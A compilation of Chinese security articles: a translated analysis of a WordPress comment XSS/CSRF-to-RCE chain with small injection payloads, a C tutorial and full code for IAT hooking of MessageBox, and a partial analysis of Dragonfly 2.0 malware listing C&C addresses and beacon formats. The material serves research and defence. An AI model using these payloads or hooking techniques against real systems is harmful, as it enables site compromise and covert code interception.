5. 嵌入到模板渲染出HTML页面（主题组件）
通过将评论功能抽象细分为一系列组件，我们能够快速确定应该花时间在哪些地方来尝试挖掘弱点。我们假设经过多年改进后的【XSS过滤组件】已经足够安全了，所以我们最简单的挖掘漏洞方法是在过滤后的评论字符串中找到一个【修改评论组件】的错误点。由于修改是在【评论创建功能】第二步中针对SEO进行优化才会执行的，且在第四步嵌入HTML标记之前已经被修改。因此我们决定研究这两个相关组件。我们很快注意到第四个组件把评论嵌入到HTML页面之前，并未对评论字符串进行很大的改动以确保不会出现XSS缺陷。因此，我们决定在上游的【SEO优化组件】中寻找弱点。
### SEO优化组件中过滤bypass
过滤后的评论传入组件，其将字符串中的`<a>`标签都进行了SEO进行优化，通过将`<a>`标签的属性字符串(`href="＃" title="some
link" rel="nofollow"`)解析为关联数组（以下代码段的3004行）来完成的，此处的key是属性的名称value是属性值。
然后，WordPress检查是否设置了rel属性。如果有就进行处理，并将`<a>`标签与新的rel属性拼接到一起。
缺陷出现在上述代码片段的第3017和3018行中，这些属性值在没有处理的情况下被拼接在一起。
攻击者可以创建一个包含精心制作的`<a>`标签的评论，并将锚点的`title`属性设置为`title='XSS" onmouseover=alert(1)
id="'`。这是有效的HTML属性，并原样走出了过滤步骤。但是，这能够作用仅仅因为精心制作的标题标签使用了单引号。当属性被拼接到一起时，title属性的值是用双引号包裹的（第3018行）。这意味着攻击者可以通过注入额外的双引号来提前关闭title属性然后注入其他HTML属性。
让我们看下面的示例：传入`<a title='XSS" onmouseover=evilCode() id="'>`过滤后将还是`<a
title='XSS" onmouseover=evilCode()
id="'>`。由于已经通过了过滤步骤，因此注入的onmouseover事件会原样存储在数据库中并没删除。这个切入点使我们可以将任意HTML属性注入评论字符串中，而我们只需要弄清楚如何触它就行了。
### 局限性和漏洞链
我们发现WordPress的【SEO优化组件】存在一个弱点，它是评论创建功能的一部分。但我们意识到仅当可以在的HTML标签中设置rel属性时才会触发这个组件处理的错误。大家认为这有个毛用，因为WordPress的【过滤组件】中实际上不允许设置rel属性，而会将其从用户提交的评论中删除，所以在【SEO优化组件】中发现的弱点这辈子可能都不会触发。因此这可能是这个弱点从来没有报出来过的原因。
利用此弱点的唯一方法是找到另一个漏洞，该漏洞要能让我们设置标签的rel属性。我们的假设这个洞是存在的，因此我们可能要在相同的功能中查找类似错误，这样看，我们就可以将需要审计的组件范围再次缩小。
最终我们认为，成功几率最大的是在WordPress的复杂的XSS过滤组件中找到一个弱点。由于我们只要能注入看起来无害的rel属性，因此不需要针对WordPress的XSS过滤器进行完全绕过。此外我们确切地知道了我们在尝试什么内容的绕过。如果其他研究人员没有专门寻找因允许注入rel属性造成的错误，那么我们就绝不会撞洞了。
## 评论中的CSRF漏洞
当寻找设置rel属性的bypass的方式时，我们分析了何时以及如何触发针对特定属性的XSS过滤器进行bypass。之后却发现，对于特定的评论其实可以绕过rel属性的过滤器。我们可以通过CSRF漏洞（恶意利用WordPress的引用功能）创建一个过滤器不处理的评论。
当用户发布新评论时，WordPress不会执行CSRF验证。这是因为，进行输入验证时某些WordPress功能（如引用和pingback）将中断。那么攻击者就可以通过CSRF攻击方式，诱导管理员创建一个评论。由于管理员可以在评论中使用任意HTML标签，甚至`<script>`标签，这就成为了一个可利用的安全问题。理论上讲，攻击者可以简单地利用CSRF漏洞来使管理员创建一个包含恶意JavaScript代码的评论。
WordPress试图通过在评论表单中为管理员生成一个额外的nonce值来修复此问题。当管理员提交评论并提供有效的nonce随机数时，将在不进行任何清理的情况下创建评论。如果随机数无效，仍会创建注释只是注入内容会被清除。
以下代码段显示了如何在WordPress核心中进行处理：
自2009年就从没有为评论表单实施CSRF保护，并且我们发现管理员清理过程中存在逻辑缺陷。如上面的代码片段所示，评论始终使用`wp_filter_kses()`进行清理，除非创建的用户是具有`unfiltered_html`功能的管理员。此时如果并且没有提供有效的nonce随机数，则使用`wp_filter_post_kses()`清理评论（上述代码段的3242行）。
`wp_filter_post_kses()`和`wp_filter_kses()`之间的区别在于它们的严格性。这两个函数都接受未过滤的评论，并且在字符串中仅保留固定的某些HTML标签和属性。通常评论使用`wp_filter_kses()`进行清理，该`wp_filter_kses()`仅允许使用非常基本的HTML标签和属性，例如`<a>`标记与`href`属性结合使用。
这使攻击者在创建评论，其中所包含的HTML标签和属性比通常评论中要多得多。尽管`wp_filter_post_kses()`的通融性要高得多，但它仍然删除了可能导致跨站点脚本漏洞的所有HTML标签和属性。
但是重要的区别是`wp_filter_post_kses()`允许设置rel标签。最终我们就可以通过CSRF缺陷，使用这个特性来注入rel属性。
### 影响和局限性
通过将在评论字符串中设置rel属性的CSRF缺陷，与导致任意HTML属性注入的SEO优化组件中的缺陷相结合，攻击者可以创建有效的存储型XSS评论。该漏洞要求在目标WordPress网站上启用评论功能，而默认情况下它就是启用的。
为了将exp升级到远程执行代码的层面，可以利用另一个缺陷。显示新创建的评论的页面未受`X-Frame-Options`头的保护。这意味着，当攻击者可以诱骗管理员访问触发CSRF漏洞的网站时，他可以在页面背景中创建隐藏的`iframe`页面来渲染评论并立即执行其中包含的JavaScript代码。
现在攻击者可以通过盗用admin用户的权限，在目标站点上执行任意JavaScript代码了。（开始牛批起来.jpg）
## 漏洞利用链构造
到目前为止，我们已经完整分析了四个漏洞，这些漏洞可以导致使用默认设置的WordPress中触发远程代码执行。我们以负责任的方式向WordPress安全团队报告了以上所有漏洞，并确保在公开技术细节之前有可用的补丁程序。一位老练的攻击者可以将其组合起来，并使用这些特性来定位目标，并拿下运行WordPress的任何高价值目标。在本节中，我们将探讨攻击者针对WordPress实例构造exp-chain的步骤。
### （一）插件漏洞
到目前为止，拿下WordPress网站的最简单方法是爬取目标网站使用的插件列表，然后在每个插件中审计出关键漏洞。WordPress可以安装超过50.000个免费插件，其中许多容易受到某种攻击。例如，在我们的`Advent
Calendar
2018`活动中展示了，即使是安装数量超过500万的最受欢迎插件也存在严重安全问题。这清楚地表明了第三方插件很可能对WordPress网站构成危险。考虑到诸如`wpscan`之类的工具，可以有效地枚举目标站点使用的所有插件的列表，攻击者的第一步就是简单地遍历该列表并尝试查找这种未验证的漏洞。在本文的上下文中，我们假定目标站点上的所有插件都是安全的，或者该漏洞需要某种类型的用户身份验证。
### （二）通过CSRF攻击
如果没有发现易受攻击的插件，攻击者可以审计WordPress核心源码，如本文所述，比如他可以利用CSRF漏洞来导致持久XSS（CVE-2019-9787），攻击者所需要做的就是在博客文章后留下无害评论，该博客文章包含指向攻击者控制的网站的链接即可。
> 我很喜欢您的博客文章，并无情的转载到了：www.my-similar-blog.com
默认情况下，所有评论都必须由管理员审核。由于需要对管理员进行身份验证才能进行审核，因此，当管理员单击被审核的评论中的恶意网站链接时，管理员绝壁已经登录了。管理员打开此恶意网站后，攻击者便可以利用CSRF漏洞并将新评论添加到管理面板中，从而触发跨XSS。例如，通过已登录管理员的浏览器呈现的JavaScript
payload可能会触发以下所述的身份验证的漏洞，以执行任意代码。
### （三）利用身份验证的漏洞
一旦攻击者成功攻破了目标网站上的帐户，他的下一步将取决于被劫持帐户的权限。默认WordPress中有五个不同角色：订阅者，贡献者，作者，编辑者和管理员。用户可以根据自己的角色执行不同的操作。
* 订阅者只能读取内容。
* 贡献者可以创建新的博客文章，但具有较高用户权限的用户审核后才能发布。
* 作者可以发布自己的文章，并可以上传媒体文件。
* 编辑者可以执行与作者相同的操作，但是可以使用任意HTML标签，甚至可以在博客文章和评论中使用`<script>`标签。
* 管理员可以执行上述所有操作，并且可以安装新插件，甚至可以直接编辑主题和插件的php文件（出于安全优化考虑，可以禁用此功能）。
订户角色不太可能在WordPress网站上使用，因为它只是一个来宾帐户。贡献者角色无法上传文件，这将阻止拿到此角色帐户的攻击者利用之前所讨论的任何RCE漏洞，因为这些漏洞取决于对文件管理系统的权限。但是，我们发布了有关WordPress中第5个漏洞的详细信息。此漏洞是特权提升（CVE-2018-20152），它使得拿到贡献者权限，就可以在大多数WordPress网站上执行任意代码（[技术细节](https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/)）。
如果攻击者可以使用作者或编辑者的帐户，他就可以利用依赖于文件上传访问权限的上述两个远程执行代码漏洞。
最后，如果攻击者可以直接拿到了管理员帐户，那他可以利用任意WordPress功能，因为管理员可以直接编辑已安装插件的php文件的内容。（该功能可以被禁用）。攻击者可以利用前篇第2节中的RCE漏洞或任何其他RCE漏洞，以获得对底层Web服务器的完全访问权限。
但是，尽管我们提出了攻击者如何从几乎所有用户角色升级到代码执行，但他需要首先在目标站点上拿到帐户。尽管以前的野外的攻击团队已经显示出它们在获取帐户方面的各种手段，但仍然并非总是能成功的。WordPress是一个不需要大量管理帐户的平台。通常，公司只会创建一个或两个管理员帐户，而管理这些帐户的员工可以是具有安全意识的IT专业人员，因此不会轻易受到欺骗。现在怎么办？
### 头奖：WordPress.org上的可存储XSS
WordPress.org网站包含所有WordPress网站使用的插件和主题存储库。此外，它管理开发人员用来编辑其主题和插件代码的帐户。在2019年5月，我们已通知WordPress安全团队有关此网站上由我们的静态代码分析解决方案发现的严重存储型XSS漏洞。显示存储库中的插件版本号时触发了此漏洞。
WordPress.org网站也是使用WordPress构建的。插件存储库中显示的插件只是专用帖子类型的帖子，这些帖子与特殊模板一起显示。下面的清单显示了负责显示版本号的代码。
这里的`get_post_meta()`是与WordPress的【Meta组件】使用的同一函数，正如我们先前所展示的那样它并不可信的。任何用户都可以创建一个新插件并将任意JavaScript代码注入其插件的插件版本中。然后导致其他开发者浏览到插件库时，触发XSS而受到攻击。之后将允许攻击者作为劫持开发者操作，把蠕虫payload添加到其他插件中，从而使payload像蠕虫一样在插件之间传播。
## 把所有弱点组合到一起
现在，我们已经展示了攻击者能够进行以下操作的能力：
1. 如果启用了评论，则在没有任何用户凭据的情况下也能攻击WordPress网站
2. 从几乎所有用户角色升级，尽管所有强化机制都已启用到远程代码执行
3. 如果以上方法均失败，攻击者可以采取最后手段，劫持插件维护者的帐户并植入后门
## 总结
巴拉巴拉巴拉，老外就是喜欢巴巴好长一段，不翻译了，自己体会一下就好了。
总之就是“好好学习，多多挖洞”
* 翻译自《How we found 5 0days in WordPress》- RIPS Technologies | 社区文章 |
# Hook_IAT实现调包Win32API函数
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、说明
如何调包Win32API函数？其实就是`Hook`PE文件自己的IAT表。
PE文件在加载到内存后，IAT中存储对应函数名（或函数序号）的地址，所以我们只需要把用作替换的函数地址，覆盖掉IAT中对应函数名（或函数序号）的地址，就能实现调包导入模块的函数。（不仅包括Win32API，包括所有通过dll模块导入的函数，在exe中都有一块导入表与之对应）。
下面先回顾一下PE文件导入表知识，再操作hook IAT。
> 环境：Win10
>
> 语言：C
>
> 编译：VS2019-x86
## 1、导入表及IAT大致工作原理
这部分涉及到PE文件导入表的知识，所以又回顾了一下PE文件的导入表及IAT大致工作原理。
> 导入表在目录项中的第二项（导出表之后）。对应目录项中的VirtualAddress（RVA）即指向的导入表。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
这个结构体有5个4字节数据，占20字节，但只需特别记住这三个RVA即可，下面会分别详细说明。
三个RVA所指向的地址大概是这样的：
注意这是PE文件在 **加载内存前** 的样子！
上面涉及到的IMAGE_THUNK_DATA这个结构数组，其实就是一个4字节数，本来是一个union类型，能表示4个数，但我们只需掌握两种即可，其余两种已经成为历史遗留了。
### （1）OriginalFirstThunk
OriginalFirstThunk这个RVA所指向的是INT表（Import Name
Table），这个表每个数据占4个字节。顾名思义就是表示要导入的函数的名字表。
但是之前学导出表有了解到，导出函数可以以名字导出，亦可以序号导出。所以为了方便区分，就将这INT表的每个值做了细微调整：
`INT`：如果这个4字节数的最高位（二进制）为1，那么抹去这个最高位之后，所表示的数就是要导入的函数的序号（即这个函数通过序号导入）；如果最高位是0，那这个数就也是一个RVA，指向`IMAGE_IMPORT_BY_NAME`结构体（包含真正的导入函数的名字字符串，以0结尾）。INT表以4字节0结尾。
`IMAGE_IMPORT_BY_NAME`:前两个字节是一个序号，不是导入序号，一般无用，后面接着就是导入函数名字的字符串，以0结尾。
### （2）Name
这个结构体变量也是一个RVA，直接指向一个字符串，这个字符串就是这个导入表对应的DLL的名字。说到这，大家明白，一个导入表只对应一个DLL。那肯定会有多个导入表。所以对应目录项里的VirtualAddress（RVA）指向的是所有导入表的首地址，每个导入表占20字节，挨着。最后以一个空结构体作为结尾（20字节全0结构体）。
### （3）FirstAddress
FirstAddress（RVA）指向的就是IAT表！IAT表也是每个数据占4个字节。最后以4字节0结尾。
注意上图PE文件 **加载内存前** ，IAT表和INT表的完全相同的，所以此时IAT表也可以判断函数导出序号，或指向函数名字结构体。
而在 **加载内存后**
，差别就是IAT表发生变化，系统会先根据结构体变量Name加载对应的dll（拉伸），读取dll的导出表，对应原程序的INT表，匹配dll导出函数的地址，返回其地址，贴在对应的IAT表上，挨个修正地址（也就是GetProcAddress的功能）。
所以上文说到，IAT表会存储dll的函数的地址，方便调用该函数时，直接取IAT表这个地址内的值，作为函数地址，去CALL。
（这是PE文件 **加载内存后** 的样子，注意IAT表发生变化！）
## 2、根据函数名Hook IAT表
上面大概回顾了一下PE文件导入表的知识，现在就直接尝试写hook IAT的代码，把这一块封装成一个函数。
### （1）函数定义
#include<Windows.h>
//hook自己pe文件的IAT导入表
//参数1:自己进程的句柄
//参数2:要Hook的函数名称指针
//参数3:需要覆盖的新的函数指针。
//返回值：为0则代表失败（不是PE文件则返回0且弹MessageBox，没有找到被hook函数仅仅返回0），
//返回值：正常返回被hook函数的原始地址。
int Hook_IAT_By_FuncName(HANDLE hMyProcess, PBYTE pOldFuncName, PDWORD pNewFuncAddr);
### （2）定位到导入表
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hMyProcess;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionHeader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pNtHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
//判断参数一句柄指向的模块是否为PE文件
if (*(PWORD)pDosHeader != 0x5A4D || *(PDWORD)pNtHeader != 0x4550) {
MessageBox(NULL, L"Not PE File!!", L"error!", NULL);
return 0;
}
//定位到可选头目录项
PIMAGE_DATA_DIRECTORY pDateDirectory = (PIMAGE_DATA_DIRECTORY)pOptionHeader->DataDirectory;
//定位到导入表
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pDosHeader + pDateDirectory[1].VirtualAddress);
### （3）遍历每块导入表
这一部分，遍历每块导入表的每个函数名，根据导入表中INT表指向的函数名，逐个对比。
直到找到我们寻找的函数名， **切记先更改IAT表中对应地址内存的读写权限** ，再写入hook函数的地址。
//遍历每块导入表
while (pImportDescriptor->Name)
{
//指向INT
PDWORD pThunkINT = (PDWORD)((DWORD)pDosHeader + pImportDescriptor->OriginalFirstThunk);
//指向IAT
PDWORD pThunkIAT = (PDWORD)((DWORD)pDosHeader + pImportDescriptor->FirstThunk);
while (*pThunkINT)
{
//因为们是根据函数名Hook，所以默认排除以序号导入的函数
if (*pThunkINT & 0x80000000) {
;
}
else
{ //寻址函数名字结构体
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)pDosHeader + *pThunkINT);
//比较导入表中的函数名和我们参数2提供的函数名
//下面这行代码：如果pOldFuncName指向“MessageBox”，但导入表中只有"MessageBoxW"，也比较成功，进入if内。
if (!memcmp(pOldFuncName, pImportByName->Name, strlen((char*)pOldFuncName))) {
//找到对应函数名后，
//先更改IAT表中对应地址内存的读写权限
DWORD lpflOldProtect;
BOOL flag = VirtualProtect((LPVOID)pThunkIAT, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
//记录被hook函数的原始地址
DWORD OldAddr = *pThunkIAT;
//写入hook函数的地址，即第三个参数
*pThunkIAT = (DWORD)pNewFuncAddr;
//返回被hook函数的原始地址
return OldAddr;
}
}
//每次循环，如果函数名不对应，那么这两个指针同时增加。
//为满足pThunkINT指向的名字和pThunkIAT指向的地址是一一对应的！
pThunkINT++;
pThunkIAT++;
}
//结构体指针自增，表示指向下一块导入表。
pImportDescriptor++;
}
//最后跳出while循环，表示没有找到对应函数名的导入函数
//则直接return 0；
return 0;
## 3、测试
上述封装好hookIAT的函数，现在编写main函数调用测试一下，
我们选择测试hook `MessageBox`函数。
### （1）编写hook函数
编写hook函数用于调包被hook函数，即替换掉，表面代码是调用MessageBox函数，弹出框，实际上并不会执行MessageBox函数，而是执行我们的hook函数。
所以这里有一个 **细节** ：hook函数的定义最好与被hook函数一致。
未避免报错，最好连调用约定都定义为一样的，否则很可能会报如下错误：
由于MessageBox的函数定义为：
WINUSERAPI
int
WINAPI
MessageBoxW(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
#define MessageBox MessageBoxW
且上网查了一下MessageBox的调用约定为`__stdcall`，
所以进行如下定义hook函数（函数内容只是简单测试一下）：
int __stdcall NewFunc(HWND x, LPCWSTR y, LPCWSTR z, UINT m) {
printf("\n\n");
printf("x=%d\n", x);
printf("y=%s\n", y);
printf("z=%s\n", z);
printf("m=%d\n", m);
printf("\n\n");
printf("Sorry! :\"MessageBox\" Function has been hooked!\n ");
return 1;
}
### （2）编写main函数进行调用测试
int main() {
//我们要hook函数的函数名
char FuncName[] = "MessageBox";
//参数字符串
char str[] = "Hello World!\n";
//定义函数指针类型
typedef int(__stdcall* MessageBoxFunc)(HWND, LPCWSTR, LPCWSTR, UINT);
//先调用正常MessageBox函数
MessageBox(NULL,L"HOOK IAT",L"Tip",NULL);
//调用先前编写的hookIAT函数，进行hook
//同时返回被hook函数的地址，定义函数指针变量接收
MessageBoxFunc OldFunc = (MessageBoxFunc)Hook_IAT_By_FuncName(GetModuleHandle(NULL), (PBYTE)FuncName, (PDWORD)NewFunc);
//测试函数指针变量接收的函数地址
OldFunc(NULL, L"MessageBox is here", L"Tip", NULL);
//此时MessageBox函数已经被hook，不会再弹出框，
//用于调包的hook函数是在控制台输出
MessageBox((HWND)1, (LPCWSTR)FuncName, (LPCWSTR)str, (UINT)2);
printf("Got it !\n");
return 0;
}
### （3）测试
第一个正常的MessageBox
点击确认后执行hookIAT函数
第二个MessageBox是定义的函数指针变量接收的hookIAT函数返回的地址。
点击确认后，再次执行MessageBox，但此时已经被hook调包了，在控制台输出语句。
看来MessageBox已经被hook了。
## 4、所有源码
因为代码量并不多，所以直接写到一个cpp文件里即可。
> 环境：Win10
>
> 语言：C
>
> 编译：VS2019-x86
#include<Windows.h>
#include<stdio.h>
//hook自己pe文件的IAT导入表
//参数1:自己进程的句柄
//参数2:要Hook的函数名称指针
//参数3:需要覆盖的新的函数指针。
//返回值：为0则代表失败（不是PE文件则返回0且弹MessageBox，没有找到被hook函数仅仅返回0），
//返回值：正常返回被hook函数的原始地址。
int Hook_IAT_By_FuncName(HANDLE hMyProcess, PBYTE pOldFuncName, PDWORD pNewFuncAddr);
int __stdcall NewFunc(HWND x, LPCWSTR y, LPCWSTR z, UINT m);
int main() {
char FuncName[] = "MessageBox";
char str[] = "Hello World!\n";
typedef int(__stdcall* MessageBoxFunc)(HWND, LPCWSTR, LPCWSTR, UINT);
MessageBox(NULL,L"HOOK IAT",L"Tip",NULL);
MessageBoxFunc OldFunc = (MessageBoxFunc)Hook_IAT_By_FuncName(GetModuleHandle(NULL), (PBYTE)FuncName, (PDWORD)NewFunc);
OldFunc(NULL, L"MessageBox is here", L"Tip", NULL);
MessageBox((HWND)1, (LPCWSTR)FuncName, (LPCWSTR)str, (UINT)2);
printf("Got it !\n");
return 0;
}
int __stdcall NewFunc(HWND x, LPCWSTR y, LPCWSTR z, UINT m) {
printf("\n\n");
printf("x=%d\n", x);
printf("y=%s\n", y);
printf("z=%s\n", z);
printf("m=%d\n", m);
printf("\n\n");
printf("Sorry! :\"MessageBox\" Function has been hooked!\n ");
return 1;
}
//hook自己pe文件的IAT导入表
//参数1:自己进程的句柄
//参数2:要Hook的函数名称指针
//参数3:需要覆盖的新的函数指针。
//返回值：为0则代表失败（不是PE文件则返回0且弹MessageBox，没有找到被hook函数仅仅返回0），
//返回值：正常返回被hook函数的原始地址。
int Hook_IAT_By_FuncName(HANDLE hMyProcess, PBYTE pOldFuncName, PDWORD pNewFuncAddr) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hMyProcess;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionHeader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pNtHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
//判断参数一句柄指向的模块是否为PE文件
if (*(PWORD)pDosHeader != 0x5A4D || *(PDWORD)pNtHeader != 0x4550) {
MessageBox(NULL, L"Not PE File!!", L"error!", NULL);
return 0;
}
//定位到可选头目录项
PIMAGE_DATA_DIRECTORY pDateDirectory = (PIMAGE_DATA_DIRECTORY)pOptionHeader->DataDirectory;
//定位到导入表
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pDosHeader + pDateDirectory[1].VirtualAddress);
while (pImportDescriptor->Name)
{
PDWORD pThunkINT = (PDWORD)((DWORD)pDosHeader + pImportDescriptor->OriginalFirstThunk);
PDWORD pThunkIAT = (PDWORD)((DWORD)pDosHeader + pImportDescriptor->FirstThunk);
while (*pThunkINT)
{
if (*pThunkINT & 0x80000000) {
;
}
else
{ //寻址函数名字结构体
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)pDosHeader + *pThunkINT);
if (!memcmp(pOldFuncName, pImportByName->Name, strlen((char*)pOldFuncName))) {
DWORD lpflOldProtect;
BOOL flag = VirtualProtect((LPVOID)pThunkIAT, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
DWORD OldAddr = *pThunkIAT;
*pThunkIAT = (DWORD)pNewFuncAddr;
return OldAddr;
}
}
pThunkINT++;
pThunkIAT++;
}
pImportDescriptor++;
}
return 0;
} | 社区文章 |
作者：启明星辰ADLab
#### 一、分析背景
2017年9月6日，安全公司赛门铁克发布消息称，著名俄罗斯黑客组织“Dragonfly”近期活动更加频繁。“Dragonfly”是一个专门以能源电力机构、ICS设备制造厂商、石油管道运营商等为攻击目标的黑客组织，该黑客组织曾经攻击过法国、德国、意大利、波兰、土耳其、美国等欧美国家的能源公司。该黑客组织自2010年开始活跃，直到2014年被该公司披露后，一度停止了攻击活动。最近发现的“Dragonfly”从攻击目的和恶意代码技术上都有所提升，被称为“蜻蜓二代”或者“Dragonfly2.0”。目前的证据表明，实际上蜻蜓二代在2015年12月份就已经有了活动迹象。
#### 二、蜻蜓二代恶意代码组件描述
蜻蜓二代“Dragonfly2.0”和一代一样，使用多种攻击方式（恶意电子邮件、水坑攻击和合法软件捆绑）对目标进行渗透并植入恶意代码。
蜻蜓二代攻击组件简单描述如下：
* Backdoor.Dorshel组件采用逃避框架Sheller处理过的恶意代码，实现其他恶意组件的下载执行；
* Trojan.Karagany.B组件为Trojan.Karagany(蜻蜓一代中出现)的升级版，原始文件名为“install_flash_player.exe”，其伪装成为Flash更新，黑客组织可能通过社交网络或者水坑式攻击提供Flash更新链接，诱使受害者点击运行，该组件能够感染系统并常驻于系统，并且还具有窃密文件回传、远程执行任意命令、下载扩展组件执行等功能；
* Trojan.Heriplor组件为该黑客组织专用后门，第一代和第二代都有出现，用于下载恶意组件执行；
* Trojan.Listrix组件主要用于收集受害者主机信息，其中包含计算机名称、用户名称、文件列表、进程列表、操作系统版本、CPU信息等；
* Hacktool.Credrix组件可用于窃取用户凭证及其他敏感信息；
* Backdoor.Goodor组件常驻于受害者主机，以实现额外组件的下载和执行；
* Trojan.Phisherly组件会以邮件的形式进行传播，主要用于窃取用户凭证。
本文先对 `Backdoor.Dorshel`和`Trojan.Karagany.B`组件进行详细的技术剖析，剩下的组件我们将会在后续的篇幅中进行分析阐述。
#### 三、Dorshel 和 Karagany.B 组件详细分析
##### （1）组件 Backdoor.Dorshel
该组件通过 Sheller
逃避框架进行了代码处理，在一定程度能够躲避安全软件的监控。该框架将真实恶意代码执行点切入到预执行代码中执行，而在真实的入口函数中实现一些无害代码，比如创建窗口程序执行正常合法行为。
我们通过分析发现，恶意代码的运行时库初始化代码被做了劫持，被劫持的函数为多线程初始化函数`_mtinit`中的`__calloc_crt`函数。如下图中所示，正常CRT代码应该调用`__calloc_crt`函数。
因此，在恶意代码的 WinMain
函数运行之前，恶意代码会首先得到执行，创建线程执行连接黑客C&C服务器，下载恶意组件执行。线程启动完成后，该段劫持代码执行流程会通过 PUSH-RET
的方式跳转 0x4036b6 的`__calloc_crt`函数，最后跳回到原始的多线程初始化代码中执行，直到 WinMain 函数得到执行。
恶意线程通过PEB动态初始化要调用的系统API函数，接着连接C&C服务器 103.41.177.69 发送 HTTPS GET
请求，请求链接为`https://103.41.177.69/A56WY`。
如果连接失败，恶意代码会进行10次重连（该C&C服务器当前已经不能连接）；连接成功，则会提取有效载荷并加载到内存中运行。
##### （2）组件 Trojan.Karagany.B
该组件伪装成为 Flash 更新文件，黑客组织可能通过社交网络或者水坑式攻击提供 Flash
更新链接，诱使受害者点击运行，该组件以感染系统、常驻系统以及下载扩展组件执行为目的。此外该组件还会用于目标主机信息的获取，而C&C服务器会根据这些情报信息下发不同的
payload 给该组件执行。
###### 1.解密内置PE代码
该组件内置有一个加密的PE完整镜像数据，被存储于地址 0x41f000 处。组件执行后会解密该 PE 数据，通过 PE 结构定位到 PE
入口后执行入口函数。
###### 2.感染系统
内置 PE 代码得到执行后，如果当前执行文件路径不为 STService，则会对受害主机实施感染操作：检测当前进程是否以 STService
名称运行，如果不是则将自身拷贝到 Application Data 目录的 `STService/STService.exe`,并以 ST Service
Scheduling 为参数运行，在恶意代码将自身拷贝到 STService 目录时，会修改文件时间，并设置文件属性为系统隐藏。
否则启动恶意线程工作，首先收集受害主机信息，其中包含用户名称、操作系统版本号、架构、安装日期等信息，并将这些信息拼接在一起。这些信息一则用着互斥事件(Event对象)名称，来保证每次只有一个实例在主机上运行，二则会被回传到控制端服务器实现恶意组件的上线功能。
然后，通过利用 COM 接口在开始菜单的启动文件夹下创建快捷方式来实现自启动。
完成感染后，该组件会重新启动并且以 STService 进程运行，接着就会循环创建 320
个线程，其中有一个线程是用来了与远程地址通信，其他线程不断的执行申请内存、写入11111111、释放内存等操作，可能用于干扰内存监视工具。
###### 3.启动线程解密配置信息
恶意代码的配置信息以加密字符串形式存储，其中以$$$开始，以###作为分隔，解密方法为 xor，但每个配置信息 xor 的 key 不同。
###### 4.构造HTTPS请求数据发送给控制端实现上线
该组件首先连接默认 C&C 为 37.1.202.26,向其提交本地的基本信息并且获取控制命令，如果无法成功完成该 C&C
的上线和控制命令的获取，该恶意组件会使用备用
C&C。判断默认C&C上线是否成功的依据是响应的数据中是否包含有`“uE4GMN”`，如果包含则表示成功，否则表明失败。在默认 C&C
上线失败的情况下，恶意代码会判断状态标志文件`“%APPDATA%\STService\status_svr.txt”`，如果该文件存在，则使用备用 C&C
进行上线和控制命令的获取。
###### 5.上线数据包构造
首先，根据本机信息来实现url和请求参数的构造，构造明文数据如下：
其中的`getimage/830411.gif`为 url
地址，`di59d=23947132339773951032&zv=15a0718¶m=635`为根据本机信息拼接成的字符串。
url格式化串为：
[配置信息中的上线包路径getimage]/%d%d[.jpg|.png|.gif]
数据格式化串为：
%si%dd=%d[本机信息字符串]&%sv=%d%s[配置信息中的标记0718]¶m=%d。
恶意代码会对数据信息进行加密，并通过base64编码，在转换成url编码。
上图为`di59d=23947132339773951032&zv=15a0718¶m=635`加密后的十六进制数值。随后通过编码转化后的请求参数如下：
最后,恶意代码添加HTTP请求头，通过https协议的方式实现上线请求及控制命令的获取。
###### 6.解析控制命令并执行相应的控制功能
当远程服务器成功响应数据后，恶意代码组件会根据服务器返回的内容执行指定操作，包括下载执行其他组件、进行卸载等。
注：其中上传文件是通过监控线程实现，恶意代码将控制端返回的指定路径的文件拷贝到`C:\Documents and
Settings\Lorz\Application Data\Update\Tmp\`目录，然后监控线程会将该目录下的文件上传到控制端服务器。
恶意代码运行过程中会创建线程监控`"C:\Documents and Settings\Lorz\Application
Data\Update\Tmp\*.*"`目录，如果发现该目录下存在文件，则读取文件内容进行上传。其中上传的 url
路径为`/upload/[rand][.jpg/.png/.gif]`,其中的upload来自解密后的配置信息(由fdyyvw解密出来)，恶意代码会从.jpg、.png、.gif、中随机选取作为上传服务器目标路径。
#### 四、后续
本报告对蜻蜓二代“Dragonfly2.0”的其中两个组件 Backdoor.Dorshel 和 Trojan.Karagany.B
